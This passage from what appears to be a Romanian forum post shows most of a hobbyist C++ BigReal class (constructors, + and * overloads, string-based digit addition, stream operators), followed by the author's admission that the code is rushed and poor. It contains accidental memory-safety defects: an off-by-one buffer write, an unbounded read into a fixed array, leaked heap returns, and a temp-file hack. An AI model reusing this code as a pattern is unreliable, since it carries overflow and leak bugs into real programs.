BigReal::BigReal()"<<std::endl; // Alocare spatiu pentru intreg si zecimal si setare la 0.0 intreg = new char[2]; intreg[0] = '0'; intreg[1] = '\0'; zecimal = new char[2]; zecimal[0] = '0'; zecimal[1] = '\0'; semn = true; } // Constructor cu parametru int BigReal::BigReal(int x) { if(DEBUG) std::cout<<"DEBUG: BigReal::BigReal(int)"<<std::endl; // Partea intreaga intreg = intreg_la_sir(x); // Partea zecimala e 0 zecimal = new char[2]; zecimal[0] = '0'; zecimal[1] = '\0'; } // Constructor cu parametru double BigReal::BigReal(double x) { if(DEBUG) std::cout<<"DEBUG: BigReal::BigReal(double)"<<std::endl; // Pentru partea intreaga, convertim pe aceasta la sir intreg = intreg_la_sir((int)x); // Pentru partea zecimala folosim functia zecimal = zecimala_la_sir(x); } // Constructorul pentru parametru sir de caractere BigReal::BigReal(const char *sir) { if(DEBUG) std::cout<<"DEBUG: BigReal::BigReal(const char*)"<<std::endl; int i, j, rest = 0; // Parcurgem sirul de caractere pana la "." sau "," for(i = 0; sir[i] && (sir[i] != '.') && (sir[i] != ','); i++) {} // Alocam spatiu (i) pentru partea intreaga si o copiem intreg = new char[i + 1]; for(j = 0; j < i; j++) intreg[j] = sir[j]; intreg[j] = '\0'; // Parcurgem sa vedem cate cifre are partea zecimala for(j = i + 1; sir[j]; j++) rest++; // Copiem partea zecimala zecimal = new char[rest + 1]; for(j = i + 1; j < i + rest + 1; j++) zecimal[j - i - 1] = sir[j]; zecimal[j - i - 1] = '\0'; } // Constructorul de copiere BigReal::BigReal(BigReal &ob) { if(DEBUG) std::cout<<"DEBUG: BigReal::BigReal(BigReal&)"<<std::endl; char *ps; int i, j; // Citim partea intreaga si preluam marimea ps = ob.intoarce_intreg(); for(i = 0; ps[i]; i++) {} // Alocam spatiu pentru partea intreaga si copiem din ob intreg = new char[i + 1]; for(j = 0; j < i; j++) intreg[j] = ps[j]; intreg[j] = '\0'; // Citim partea zecimala si preluam marimea ps = ob.intoarce_zecimal(); for(i = 0; ps[i]; i++) {} // Alocam spatiu pentru partea intreaga si copiem din ob zecimal = new char[i + 1]; for(j = 0; j < i; j++) zecimal[j] = ps[j]; zecimal[j] = '\0'; } // Supraincarcare operator + pentru adunare BigReal + int BigReal& BigReal::operator + (int x) { if(DEBUG) std::cout<<"DEBUG: BigReal::operator + (int)"<<std::endl; BigReal *tmp = new BigReal(); // Atribuim valorile adunate pointerului pe care il vom returna tmp -> atribuie_intreg(aduna_siruri(this -> intreg, intreg_la_sir(x))); tmp -> atribuie_zecimal(this -> zecimal); return *tmp; } // Supraincarcare operator + pentru adunare BigReal + double BigReal& BigReal::operator + (double x) { if(DEBUG) std::cout<<"DEBUG: BigReal::operator + (double)"<<std::endl; BigReal *tmp = new BigReal(); // Atribuim valorile adunate pointerului pe care il vom returna tmp -> atribuie_intreg(aduna_siruri(this -> intreg, intreg_la_sir(x))); tmp -> atribuie_zecimal(aduna_siruri(this -> zecimal, zecimala_la_sir(x))); return *tmp; } // Supraincarcare operator + pentru adunare BigReal + BigReal BigReal& BigReal::operator + (BigReal &ob) { if(DEBUG) std::cout<<"DEBUG: BigReal::operator + (BigReal)"<<std::endl; BigReal *tmp = new BigReal(); // Atribuim valorile adunate pointerului pe care il vom returna tmp -> atribuie_intreg(aduna_siruri(this -> intreg, ob.intoarce_intreg())); tmp -> atribuie_zecimal(aduna_siruri(this -> zecimal, ob.intoarce_zecimal())); return *tmp; } // Supraincarcare operator + pentru adunare BigReal + const char * BigReal& BigReal::operator + (const char *sirx) { if(DEBUG) std::cout<<"DEBUG: BigReal::operator + (const char *)"<<std::endl; BigReal *tmp = new BigReal(); // Copiem sirul din parametru intr-un alt sir pentru ca trebuie sa il modificam int l = 0, k; while(sirx[l++]); char *sir = new char[l]; for(k = 0; k < l - 1; k++) sir[k] = sirx[k]; sir[k] = '\0'; // Obtinem lungimea int i = 0; for(i = 0; sir[i] && sir[i] != '.' && sir[i] != ','; i++) {} // Daca contine "," sau "." if(sir[i] == ',' || sir[i] == '.') tmp -> atribuie_zecimal(&sir[i + 1]); else tmp -> atribuie_zecimal("0"); // Partea ntreaga if(i == 0) tmp -> atribuie_intreg("0"); else { // Un mic truc pentru viteza mai mare, la partea zecimala plecam de unde incepe // Punem NULL unde e virgula (pozitia i) ca sa putem folosi partea intreaga ca sir, direct sir[i] = '\0'; tmp -> atribuie_intreg(sir); } // Atribuim valorile adunate pointerului pe care il vom returna tmp -> atribuie_intreg(aduna_siruri(this -> intreg, tmp -> intoarce_intreg())); tmp -> atribuie_zecimal(aduna_siruri(this -> zecimal, tmp -> intoarce_zecimal())); return *tmp; } // Supraincarcare operator + pentru adunare int + BigReal BigReal& operator + (int x, BigReal &ob) { return ob + x; } // Supraincarcare operator + pentru adunare double + BigReal BigReal& operator + (double x, BigReal &ob) { return ob + x; } // Supraincarcare operator + pentru adunare const char* + BigReal BigReal& operator + (const char *x, BigReal &ob) { return ob + x; } // Supraincarcare operator * pentru BigReal * int BigReal& BigReal::operator * (int x) { if(DEBUG) std::cout<<"DEBUG: BigReal::operator * (int)"<<std::endl; BigReal *tmp = new BigReal(); // Adunam de x ori si partea intreaga si partea zecimala for(int i = 1; i <= x; i++) { tmp -> atribuie_intreg(aduna_siruri(tmp -> intoarce_intreg(), this -> intreg)); tmp -> atribuie_zecimal(aduna_siruri(tmp -> intoarce_zecimal(), this -> zecimal)); } return *tmp; } // Supraincarcare operator * pentru int * BigReal BigReal& operator * (int x, BigReal &ob) { return ob * x; } // Destructorul BigReal::~BigReal() { if(DEBUG) std::cout<<"DEBUG: BigReal::~BigReal()"<<std::endl; // Eliberare memorie delete[] intreg; delete[] zecimal; } // Conversie manuala a partii zecimale a unui double la sir de caractere char* BigReal::zecimala_la_sir(double x) { if(DEBUG == 2) std::cout<<"DEBUG: zecimala_la_sir(double)"<<std::endl; double nr; // int cif, contor0 = 0, contor9 = 0, cifre = 0; int lungime_cif = 0, i; char cifrute[19]; char *parte_zecimala; // Partea zecimala a parametrului nr = x - (int)x; // Stupid: scriem in fisier std::fstream f("F:/test.txt", std::ios::out); f<<nr; f.close(); // Citim ca sir din fisier std::fstream g("F:/test.txt", std::ios::in); g>>cifrute; g.close(); // Copiem partea zecimala si o returnam while(cifrute[lungime_cif++]); parte_zecimala = new char[lungime_cif - 2]; for(i = 0; i < lungime_cif - 3; i++) parte_zecimala[i] = cifrute[i + 2]; parte_zecimala[i] = '\0'; /* // Parcurgem partea zecimala pana intalnim 000000 while(nr != (double)(int)nr && contor0 <= 6 && contor9 <= 6) { cif = (int)(nr * 10); // Verificam daca suntem la secventa de 000000 sau 999999 if(cif == 0) contor0++; else contor0 = 0; if(cif == 9) contor9++; else contor0 = 9; // Punem cifra in vector si incrementam numarul cifrei cifrute[cifre] = cif + 48; cifre++; nr = double(nr * 10) - (double)(int)(nr * 10); } // Alocam spatiu pentru partea zecimala parte_zecimala = new char[cifre - 6]; // Copiem cifrele din sirul temporar in partea zecimala for(i = 0; i < cifre - 7; i++) parte_zecimala[i] = cifrute[i]; parte_zecimala[i] = '\0'; // Returnam pointerul */ return parte_zecimala; } // Conversie manuala de la int la sir de caractere char* BigReal::intreg_la_sir(int x) { if(DEBUG == 2) std::cout<<"DEBUG: intreg_la_sir(int)"<<std::endl; char sir[11]; // Maxim 10 cifre (+ \0) int i = 0, j; // Daca x == 0 if(x == 0) { // Partea intreaga va fi 0 intreg = new char[2]; intreg[0] = '0'; intreg[1] = '\0'; } // Daca nu, il transformam in sir else { while(x) { sir[i++] = x % 10 + 48; // Codul ASCII al cifrei x = x / 10; } sir[i] = '\0'; // Alocam spatiu pentru intreg intreg = new char[i]; // Copiem din sirul local in sirul "intreg", ordine inversa for(j = 0; j < i; j++) intreg[j] = sir[i - j - 1]; intreg[i] = '\0'; } return intreg; } // Functie pentru setarea valorii intregi a obiectului void BigReal::atribuie_intreg(const char *sir) { if(DEBUG == 2) std::cout<<"DEBUG: atribuie_intreg(const char *)"<<std::endl; int i, j; // Daca e deja alocat, eliberam memoria si o alocam din nou, apoi copiem sirul if(intreg) delete[] intreg; for(i = 0; sir[i] && e_cifra(sir[i]); i++) {} intreg = new char[i + 1]; for(j = 0; j < i; j++) intreg[j] = sir[j]; intreg[j] = '\0'; } // Functie pentru setarea valorii zecimale a obiectului void BigReal::atribuie_zecimal(const char *sir) { if(DEBUG == 2) std::cout<<"DEBUG: atribuie_zecimal(const char *)"<<std::endl; int i, j; // Daca e deja alocat, eliberam memoria si o alocam din nou, apoi copiem sirul if(zecimal) delete[] zecimal; for(i = 0; sir[i] && e_cifra(sir[i]); i++) {} zecimal = new char[i + 1]; for(j = 0; j < i; j++) zecimal[j] = sir[j]; zecimal[j] = '\0'; } // Functie ce preia ca parametri 2 siruri de caractere, NUMERE si returneaza suma lor ca sir char* BigReal::aduna_siruri(const char *sir1, const char *sir2) { if(DEBUG == 2) std::cout<<"DEBUG: aduna_siruri(const char *, const char *)"<<std::endl; // Determinam rapid lungimile sirurilor int lun_1 = 0, lun_2 = 0, ultim; while(sir1[lun_1++]); while(sir2[lun_2++]); // Pozitia ultimei cifre ultim = lun_1 > lun_2 ? lun_1 : lun_2; ultim++; // Alocam spatiu pentru noul sir char *suma_s = new char[ultim]; suma_s[(--ultim)--] = '\0'; int transport = 0, i, j; i = lun_1 - 1; j = lun_2 - 1; // Facem adunarea cat timp avem acelasi nr. de cifre int mic = i < j ? i : j; i--; j--; while(mic--) { // Daca suma e 0-9 if(sir1[i] + sir2[j] + transport < 106) { suma_s[ultim--] = sir1[i] + sir2[j] + transport - 48; // Cifra din suma celor 2 cifre transport = 0; } // Daca depaseste 9 else { suma_s[ultim--] = sir1[i] + sir2[j] + transport - 58; // Cifra din suma celor 2 cifre transport = 1; } i--; j--; } i++; j++; // Pentru numar egal de cifre, daca avem sau nu transport if(i == 0 && j == 0) { if(transport) suma_s[0] = '1'; else { // Daca nu, cream un nou sir, fara prima cifra (pentru transport) char *final; int k, lungime = lun_1 > lun_2 ? lun_1 : lun_2; final = new char[lungime]; for(k = 1; k < lungime; k++) final[k - 1] = suma_s[k]; final[k - 1] = '\0'; return final; } } //Completam cu cifrele numarului cu mai multe cifre if(i) { // Parcurgem sirul ` si nu uitam de transport while(i) { i--; // Daca e 0 if(sir1[i] + transport == 58) { suma_s[ultim--] = sir1[i] + transport - 10; transport = 1; } else { suma_s[ultim--] = sir1[i] + transport; transport = 0; } } // Daca avem transport, pe prima pozitie avem 1 if(transport) suma_s[0] = '1'; else { // Daca nu, cream un nou sir, fara prima cifra (pentru transport) char *final; int k, lungime = lun_1 > lun_2 ? lun_1 : lun_2; final = new char[lungime]; for(k = 1; k < lungime; k++) final[k - 1] = suma_s[k]; final[k - 1] = '\0'; return final; } } else if(j) { // Parcurgem sirul 2 si nu uitam de transport while(j) { j--; // Daca e 0 if(sir2[j] + transport == 58) { suma_s[ultim--] = sir2[j] + transport - 10; transport = 1; } else { suma_s[ultim--] = sir2[j] + transport; transport = 0; } } // Daca avem transport, pe prima pozitie avem 1 if(transport) suma_s[0] = '1'; else { // Daca nu, cream un nou sir, fara prima cifra (pentru transport) char *final; int k, lungime = lun_1 > lun_2 ? lun_1 : lun_2; final = new char[lungime]; for(k = 1; k < lungime; k++) final[k - 1] = suma_s[k]; final[k - 1] = '\0'; return final; } } // Returnam suma return suma_s; } // Supraincarcare oeprator << pentru afisare std::ostream& operator << (std::ostream& flux, BigReal& ob) { if(DEBUG == 2) std::cout<<"DEBUG: operator << (std::ostream&, BigReal&)"<<std::endl; // Afisam partea intreaga si partea zecimala flux << ob.intoarce_intreg(); flux << '.'; flux << ob.intoarce_zecimal(); // Returnam fluxu, pentru operatii imbricate return flux; } // Supraincarcare oeprator >> pentru citire (cu ".", "," si filtrare non-cifre) std::istream& operator >> (std::istream& flux, BigReal& ob) { if(DEBUG == 2) std::cout<<"DEBUG: operator >> (std::istream&, BigReal&)"<<std::endl; char sir[1000]; int i; // Atribuim valorile: intreaga si zecimala obiectului ob, dupa citire flux >> sir; for(i = 0; sir[i] && sir[i] != '.' && sir[i] != ','; i++) {} // Daca contine "," sau "." if(sir[i] == ',' || sir[i] == '.') ob.atribuie_zecimal(&sir[i + 1]); else ob.atribuie_zecimal("0"); // Partea ntreaga if(i == 0) ob.atribuie_intreg("0"); else { // Un mic truc pentru viteza mai mare, la partea zecimala plecam de unde incepe // Punem NULL unde e virgula (pozitia i) ca sa putem folosi partea intreaga ca sir, direct sir[i] = '\0'; ob.atribuie_intreg(sir); } // Returnam fluxu, pentru operatii imbricate return flux; } #endif // BIGREAL_H_INCLUDED [/code] Unele bucati de cod sunt jalnice, dar m-am enervat rau cu double-urile si am scris mult cu o ora inainte sa "il prezint".
-
A, asa ca idee, eu nu am folosit strlen(), am facut asta manual, tot aveam posibilitatea, asa am putina viteza in plus. Desi e scris stupid, cred ca e destul de rapida functia mea.